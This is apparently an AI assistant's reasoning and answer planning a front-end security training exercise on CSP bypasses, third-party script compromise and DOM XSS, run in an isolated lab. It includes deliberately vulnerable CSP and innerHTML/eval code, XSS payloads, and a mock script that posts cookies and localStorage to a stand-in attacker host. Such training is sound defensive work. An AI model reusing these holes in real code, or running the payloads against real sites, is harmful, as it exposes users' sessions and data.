Okay, the user wants to plan a front-end security game day focusing on CSP violations, third-party script breaches, and DOM XSS defenses. Let me break this down.
First, I need to define the objectives clearly. The game day should be practical, engaging, and educational. The user probably wants the team to experience real-world scenarios in a controlled environment. So, setting up vulnerable environments is key.
I should start with infrastructure. A dedicated lab environment with isolated VMs or containers makes sense. Need vulnerable apps for each scenario: CSP bypass, third-party script compromise, and DOM XSS. Tools like Node.js, Python's SimpleHTTPServer, or Docker would work here.
For the CSP part, maybe a page with a misconfigured CSP that allows 'unsafe-inline' or 'unsafe-eval'. Then have participants exploit it with a script injection. Third-party script breach could involve a compromised CDN or analytics script. Maybe simulate that with a local server serving malicious code. DOM XSS needs a page with innerHTML or eval usage. Use query parameters to inject payloads.
Scoring and rules are important. Teams or individuals? Points for detection, containment, mitigation. Maybe bonus points for creative defenses. Debrief afterward to discuss lessons learned.
Need to ensure safety. The environment must be isolated, no real data involved. All exploits should be contained within the lab. Also, provide clear guidelines to avoid accidental damage.
Wait, did I cover all three areas? CSP, third-party, DOM XSS. Yes. Maybe add a twist where they have to fix the vulnerabilities after exploiting. That reinforces defense strategies.
Also, consider different skill levels. Some participants might be new to security, so include hints or progressive difficulty. But the user didn't specify, so keep it balanced.
Documentation post-game is crucial. Capture what worked, what didn't, and follow-up actions. Share resources for further learning.
Double-check the setup steps. Download vulnerable apps, configure networks, set up scoring. Maybe automate the scoring with a script? But manual scoring allows for discussion. Probably manual with a judge panel.
Make sure the third-party breach scenario is realistic. Maybe use a legitimate-looking library that's been tampered with. Or simulate a supply chain attack by replacing a trusted script.
DOM XSS: use real-world examples like markdown parsers or URL redirection. Have them find where the DOM manipulation happens and exploit it.
Finally, emphasize the learning outcomes. Not just winning, but understanding how to defend against these attacks in their own projects.
Excellent plan! A front-end security game day is a fantastic way to build practical, muscle-memory skills. Here’s a comprehensive plan for a hands-on, engaging, and safe simulation event.
Event Title: "Frontline Defense: The Front-End Security Game Day"
Core Objective: Move beyond theory. Teams will attack, defend, and debug vulnerable applications to understand the realities of CSP, third-party script risks, and DOM-based XSS in a controlled, competitive environment.
1. Foundational Setup & Safety (Pre-Game)
- Isolated Lab Environment: Use a dedicated network/VLAN or cloud-based sandbox (e.g., AWS/Azure/GCP free tier, DigitalOcean droplets). Crucially, no real data, production systems, or external internet access from the victim apps.
- Victim Applications: Prepare 3-4 intentionally vulnerable web apps (could be simple Node.js/Express, Python/Flask, or static HTML/JS apps).
- App A (CSP Lab): Misconfigured Content Security Policy.
- App B (Third-Party Lab): Integrates a "compromised" analytics/advertising script.
- App C (DOM XSS Lab): Vulnerable client-side routing or
innerHTML/eval usage.
- App D (Defense Challenge): A "fix-it" app with multiple vulnerabilities from A-C.
- Infrastructure Tools:
- Burp Suite Community Edition (or OWASP ZAP) for traffic interception.
- Browser DevTools (Console, Sources, Network tabs).
- Simple HTTP server logs to monitor requests.
- Scoreboard (a simple web page or shared spreadsheet) to track points.
- Safety Protocol: All exploits are contained within the lab. A "kill-switch" script to stop all victim apps instantly. Clear rules: "Attack only the designated targets. No DoS, no scanning of infrastructure."
2. Game Day Structure (3-4 Hours)
Phase 1: Briefing & Recon (30 mins)
- Welcome & Threat Model: "Today, you are both Red Team (attackers) and Blue Team (defenders). Your goal: Find the flaws, exploit them to prove impact, and then write the fix."
- Team Formation: 3-4 people per team (mixed roles: dev, sec, QA).
- The Targets: Introduce the 3 main apps.
- App A -
csp-lab.local: "This app has a CSP. Is it strong enough?"
- App B -
third-party.local: "Your team just added a new 'super analytics' snippet from cdn.evil-tracker.com. What could go wrong?"
- App C -
dom-xss.local: "This single-page app uses a hash-based router. Find where the XSS lives."
- Rules & Scoring: (See below)
- Hand out: Lab access credentials, cheat sheets (common CSP bypasses, DOM XSS sinks/sources).
Phase 2: Attack & Explore (60-75 mins) - RED TEAM MODE
- Teams rotate through the apps or split up. Goal: Find a working exploit.
- CSP Challenge: Bypass a policy like
script-src 'self' https://trusted.cdn.com. Hints: Use nonce bypass if nonce is predictable/static, use 'unsafe-inline' if present, find an allowed domain that hosts JSONP/JavaScript, use script-src: 'strict-dynamic' misconfiguration, or leverage a DOM-based sink if CSP is weak on 'unsafe-eval'.
- Third-Party Breach: The "evil" script is already in the page. What does it do? (e.g.,
stealCookies(), exfiltrateFormData()). Task: Trigger its payload and capture the exfiltrated data (sent to a team-controlled mock server within the lab).
- DOM XSS Challenge: Location:
?search=<payload> or #<payload>. Find where JS uses element.innerHTML = location.hash or eval(location.search). Craft a payload that executes alert(document.domain) or exfiltrates localStorage.
Phase 3: Defense & Fix (60-75 mins) - BLUE TEAM MODE
- Teams now switch mindset. For each exploit they discovered (or were shown), they must:
- Write the secure code fix. (e.g., Correct CSP directive, replace
innerHTML with textContent, use Subresource Integrity for third-party scripts, implement a robust sanitizer like DOMPurify).
- Deploy the fix in their local clone of the app.
- Prove the fix works by showing the exploit no longer functions.
- Scoring: Points are awarded for both successful exploits AND correct, verified fixes.
Phase 4: Capture The Flag (CTF) Style Debrief (30-45 mins)
- Team Presentations: Each team presents one key finding & fix for each vulnerability type.
- "For the CSP bypass, we used [technique]. The fix was to remove
'unsafe-inline' and use a strict nonce generated per request."
- "The third-party script was stealing form data. The fix was to remove it and use a self-hosted alternative with SRI."
- "DOM XSS was in the router. We replaced
innerHTML with textContent and used encodeURIComponent for URL params."
- Judge's Recap: Highlight the most clever exploit, the most robust defense, and common pitfalls.
- Resources & Next Steps: Share OWASP Cheatsheets, MDN docs on CSP, links to SRI generators, DOMPurify. Emphasize integrating these practices into their DevSecOps cycle.
3. Detailed Scoring System
| Action | Points | Notes |
|---|
| RED TEAM (Attack) | | |
| Discover & report a CSP bypass | 100 | Must show working payload (e.g., alert(1)). |
| Trigger third-party data exfil | 150 | Must show data hit mock server log. |
| Find a DOM XSS sink/source | 100 | Document the vulnerable code line. |
| BLUE TEAM (Defense) | | |
Correctly fix CSP (e.g., nonce, no unsafe-inline) | 150 | Judge validates fix blocks previous exploit. |
| Mitigate third-party risk (SRI, remove, sandbox) | 200 | Highest points—shows supply chain thinking. |
| Sanitize DOM input (DOMPurify, safe APIs) | 150 | Fix must be context-aware. |
| BONUS | | |
| Find a second vulnerability in same app | 50 | Encourages thorough testing. |
| Write a comprehensive unit test for the fix | 30 | Promotes shift-left security. |
| Most Creative/Non-Obvious Exploit | 100 (Prize) | Judge's choice. |
4. Sample Vulnerable App Snippets (For the Lab Builder)
App A: Bad CSP
<!-- index.html -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com 'unsafe-inline'">
<script src="https://trusted.cdn.com/analytics.js"></script>
<script>
// If trusted.cdn.com has a JSONP endpoint: ?callback=evil
// Or if 'unsafe-inline' is present: <img src=x onerror=alert(1)>
</script>
App B: Compromised Third-Party Script
<!-- index.html -->
<script src="https://cdn.evil-tracker.com/analytics.js"></script>
<!-- analytics.js contains: -->
<script>
// Malicious payload
fetch('http://attacker-server.local/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie, ls: localStorage})
});
</script>
App C: DOM XSS Sink
// router.js
const handleRoute = () => {
const hash = window.location.hash.substring(1); // #<payload>
const contentDiv = document.getElementById('content');
// VULNERABLE:
contentDiv.innerHTML = `<h1>${hash}</h1>`; // If hash = <img src=x onerror=alert(1)>
// Or:
const params = new URLSearchParams(window.location.search);
const userInput = params.get('page');
// VULNERABLE: eval(userInput) or new Function(userInput)()
};
5. Post-Game Deliverables & Follow-up
- "Hall of Fame" Scoreboard: Publish final scores and winning team.
- Write-Up Repository: Create a shared doc/notion page with:
- All discovered vulnerabilities.
- The accepted secure code fixes (the "answer key").
- Links to OWASP resources.
- Action Items for Real Projects:
- "Implement CSP reporting (
report-uri) in our staging environment."
- "Audit all third-party scripts with SRI."
- "Add DOMPurify to our rich-text editor project."
- "Add a static analysis rule (ESLint
no-eval) to our CI pipeline."
- Feedback Survey: What was most valuable? What was too hard/easy?
Why This Format Works
- Hands-On & Memorable: People remember breaking and fixing things.
- Red/Blue Mindset Shift: Builds empathy—developers see how bugs become exploits.
- Focus on Defense: The scoring heavily rewards the fix, not just the break.
- Real-World Relevance: Directly maps to modern front-end stacks (SPAs, third-party dependencies).
- Collaborative: Encourages team discussion and knowledge sharing.
Final Tip: Run a dry-run with a colleague to ensure all exploits work, fixes are valid, and the lab is stable. The goal is fun, learning, and empowerment—not frustration.
Have a fantastic game day! 🛡️👾